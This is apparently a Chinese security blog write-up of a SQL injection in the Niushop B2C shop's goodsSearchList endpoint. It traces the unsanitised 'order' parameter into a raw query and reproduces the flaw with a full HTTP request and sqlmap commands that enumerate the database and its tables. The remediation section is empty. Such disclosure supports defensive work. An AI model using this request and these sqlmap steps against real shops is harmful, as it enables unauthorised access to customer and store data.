0x01 前言
Niushop B2C商城系統基於ThinkPHP5.0開發,源碼全部開放(100%),商用免費,四網合一,滿足用戶、企業、開發者、服務商等角色要求
0x02 代碼分析
跟蹤到/Application/wap/Controller/Goods.php中的goodsSearchList方法
- 411 Line: 判斷是否是ajax請求
- 414 Line: 從post獲取參數為order的值並賦給$order
- 416 Line: 從post獲取參數為sort的值並賦給$sort
- 426 Line: 判斷$order不為空
- 427 Line: 將$order、$sort拼接並賦值給$orderby
- 454 Line: 將$orderby傳入$goods中的getGoodsList方法中
跟蹤到 /data/service/Goods.php中的goodsSearchList方法 - 106 Line: 將$order傳入模型NsGoodsView中的getGoodsViewList方法
跟蹤到/data/model/NsGoodsViewModel.php中的getGoodsViewList方法 - 39 Line: 將$order傳入當前模型中的getGoodsViewQuery
- 86 Line: 調用基類的viewPageQuery方法並將$order傳入其中
跟蹤到/data/model/BaseModel.php中的viewPageQuery方法 - 到這裡直接將SQL語句帶入查詢,order可控導致SQL注入
0x03 漏洞探測
0x04 漏洞復現
<code>POST /index.php?s=/wap/Goods/goodsSearchList HTTP/1.1
Host: 172.16.209.129:8086
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8086/index.php/wap/goods/goodsSearchList
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Cache-Control: max-age=0
sear_name=&sear_type=1&order=*&sort=asc&controlType=&shop_id=0&page=1/<code>
將數據包保存為niushop.txt
<code>sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"/<code>
<code>sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db/<code>
<code>sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables/<code>
0x05 漏洞修復
閱讀更多 白帽子 的文章